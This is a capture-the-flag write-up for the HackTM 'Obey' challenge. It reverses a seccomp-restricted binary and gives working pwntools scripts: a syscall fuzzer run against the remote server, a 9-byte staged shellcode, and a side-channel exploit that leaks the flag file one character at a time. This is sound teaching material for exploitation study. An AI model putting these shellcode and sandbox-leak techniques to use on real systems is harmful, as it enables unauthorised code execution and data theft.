The government has released a new set of rules. Do you choose to be among those who follow them blindly or among those who read them first?
Flag Path: /home/pwn/flag.txt
Author: FeDEX
Remote: nc 138.68.67.161 20001
Checking the given binary and its security flags
Reversing
Throwing the binary to IDA, we find only a couple of functions
Jumping right into main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [rsp+10h] [rbp-80h]
void *v5; // [rsp+18h] [rbp-78h]
char s; // [rsp+20h] [rbp-70h]
unsigned __int64 v7; // [rsp+88h] [rbp-8h]
v7 = __readfsqword(0x28u);
init_proc();
memset(&s, 0, 0x64uLL);
open_read_file("header.txt", 100, &s);
puts(&s);
open_read_file("description.txt", 800, &description);
printf("\n %s\n ", &description);
puts(" >> Do you Obey? (yes / no)");
read(0, &answer, 11uLL);
v4 = open_read_file("RULES.txt", 150, &rules) >> 3;
v5 = &rules;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) < 0 )
{
perror("prctl(PR_SET_NO_NEW_PRIVS)");
exit(2);
}
if ( prctl(22, 2LL, &v4) < 0 )
{
perror("prctl(PR_SET_SECCOMP)");
exit(2);
}
if ( !strcmp(&answer, "Y") )
set_context();
else
system("/bin/sh");
return 0;
}
- It calls
init_proc()
- Reads header and description from files.
- Asks if you will obey and takes 11 byte as an answer.
- Loads
seccomp
rules from a file and apply them. - If answer is
Y\x00
then it callsset_context()
else it callssystem("/bin/sh")
which is obviously blocked by seccomp rules.
Now, for the init_proc()
void init_proc()
{
int v0; // eax
v0 = getpagesize();
region = mmap((v0 << 20), v0, 7, 34, 0, 0LL);
if ( region == -1LL )
{
perror("Could not mmap");
}
else
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setbuf(stderr, 0LL);
signal(14, handler);
alarm(0x1Eu);
}
}
Aside from the normal stuff, it mmap
a writable/executable address space and assigns it to the global variable region
Finally, the set_context()
__int64 set_context()
{
*(&answer + strlen(&answer)) = 'Y';
strcpy(region, &answer);
return (region)(1337LL, &answer);
}
- Replaces the null byte with another Y.
- Copies our 11 byte answer to the executable region (assuming we have no null bytes).
- Runs our input.
Analysis
Our take so far is that we can run shellcode of 9 bytes excluding the Y\x00
but we still have no idea what syscall are allowed on the remote server.
Approaching that, we wrote a simple script to fuzz allowed syscalls:
from pwn import *
context(arch='amd64', os='linux')
allowed = []
might_be = []
logging = log.progress('Fuzzing')
for i in range(0, 100):
logging.status(str(i))
try:
r = remote('138.68.67.161', 20001, level='error')
shellcode = asm('''
xor rax, rax
add al, {}
syscall
'''.format(i))
shellcode = 'Y\0' + shellcode
r.sendlineafter(')\n', shellcode)
out = r.recvline()
if 'Bad' not in out:
allowed.append(i)
except KeyboardInterrupt:
break
except:
might_be.append(i)
continue
finally:
r.close()
logging.success('Done.')
log.success('Allowed: ' + str(allowed))
log.success('Might be Allowed: ' + str(might_be))
The output looked like this
So only open
, read
and exit
are allowed.
Given that there's no write
and that we know the flag's location, our approach will be to read it into memory and leak it using a sidechannel attack.
Tough to achieve that controlling only 9 bytes so we started debugging to find out a way to get more space. Here's how the registers and stack looked like at the moment of running our shellcode:
Looking at this, why don't we read more input to the same region
so we can run as much as we need to?
Thinking that, we crafted a shellcode of 9 bytes which will do a read(0, rip, largenumber)
and here's how it looked like:
stage_1 = asm('''
push rbx
push rbx
pop rdi
pop rax
pop rsi
mov dh, 0xff
syscall
''')
Exploitation
Now that we have got it all figured out, it's time for our sidechannel attack which will be a binary search based on the blocked syscalls response.
You'll notice in the final exploit that we open the file twice because for some reason opening the file once in our shellcode wasn't working (later on we tried leaking the RULES.TXT and figured and figured out that when fd=3
the buffer must be 0x602888
to be allowed)
Here's how the final exploit look like:
from pwn import *
context(arch='amd64', os='linux')
stage_1 = asm('''
push rbx
push rbx
pop rdi
pop rax
pop rsi
mov dh, 0xff
syscall
''')
def search(idx, char):
r = remote('138.68.67.161', 20001, level='error')
r.recvuntil('no)\n')
stage_2 = asm((
shellcraft.open('/home/pwn/flag.txt') +
shellcraft.open('/home/pwn/flag.txt') +
shellcraft.read('rax', 'rsp', 0x48) +
'''
xor rcx, rcx
mov al, [rsp + {idx}]
cmp al, {char}
jae found
''' +
shellcraft.sh() +
'''
found:
''' +
shellcraft.exit(0)).format(idx=idx, char=char))
r.sendline('Y\0' + stage_1 + '\x90' * 11 + stage_2)
try:
r.recvline()
r.close()
return False
except EOFError:
r.close()
return True
flag = 'HackTM'
logging = log.progress('Flag')
while flag[-1] != '}':
low, high = 0, 255
while high - low > 1:
middle = (high + low) / 2
logging.status(flag + chr(middle))
if search(len(flag), middle):
low = middle
else:
high = middle
flag += chr(low)
Running the exploit we get the flag
HackTM{kn0w_th3_rul3s_we11_s0_y0u_c4n_br34k_th3m_EFFECTIVELY}